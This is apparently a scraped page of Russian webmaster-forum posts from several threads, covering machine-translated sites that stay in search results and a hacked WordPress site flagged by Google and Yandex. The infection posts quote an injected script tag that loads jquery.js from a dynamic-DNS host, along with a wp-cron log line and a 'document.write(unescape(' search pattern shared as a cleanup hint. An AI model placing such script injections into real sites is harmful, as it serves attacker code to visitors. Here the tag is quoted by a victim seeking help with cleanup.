sema_and

Рейтинг
83
Регистрация
14.05.2012

Тоже приходило такое письмо. Похоже на стрёмную замануху

MoMM:
Точно так же как остальные ГС: сперва после визита быстроробота вносятся, а потом после анализа вылетают или в "сопли" или совсем... откройте тот же график в масштабе "Помесячно" и увидите "взлет и падение героя"

Так же заметно что пациент долго живет с нормальным трафиком. Да, взлеты падения но середина вполне приемлемая.

Я случайно как то на него нарвался в начале года с тех пор и мониторю его переодически. Интересно как долго проживет.

The_Curious:
Предположил бы, что за счет весьма немаленького СЯ, куда неминуемо влетят НК запросы.

Всё это понятно. Как поисковики пускают механический перевод в выдачу?

Для примера. Вот сайт kramelion.ru и слепому будет видно, что это механический перевод wikihow.com

Статистика посещаемости: http://www.liveinternet.ru/stat/kramelion.ru/index.html

Вопрос: как такое живет????

Нет никаких линков. Браузеры: Explorer, yandex, Chrome

Аналогичная ситуация на 3-х ресурсах. Хотелось бы определенности)

beginerx:
надо чистить базу данных вашей cms, вирус спрятан там, в коде ничего не найдете. Бэкапа базы ясно дели никто не делал?

Бэкапы делаются ежедневно. Посмотрю базу.

---------- Добавлено 19.11.2013 в 09:37 ----------

Ранее заметил в логах хостинга записи такого вида:ххх.ххх.ххх.ххх - - [18/Nov/2013:22:11:41 +0300] "POST /wp-cron.php?doing_wp_cron=1384801901.9823780059814453125000 HTTP/1.0" 200 211 "-" "WordPress/3.7.1; http://sitename.ru

Цифры такой последовательности 1384800197 встречаются в зараженом коде.

В Конфиге сайта я остановил wp_cron. Так как ранее остановка его прекращала появление этого события.

sema_and:
Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">
Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.

Проблема сохранилась. Только уже ругается яндекс а не google.

draff:
Ищите вставку в яваскриптах сайта
;document.write(unescape(и дальше код

Ничего подозрительно не нашел.

Аналогично. Google прислал сообщение, что на сайте обнаружено вредоносное ПО. <script type="text/javascript" src="http://rdomn1384425908.hopto.me/jquery.js?1384426008">

Все пересмотрел. Скачал полный архив сайта, прогнал его двумя антивирусами. Рекомендации в этой ветке выполнил. Результата ноль. Может через 24 часа как Google проверит ситуация изменится.

Всего: 80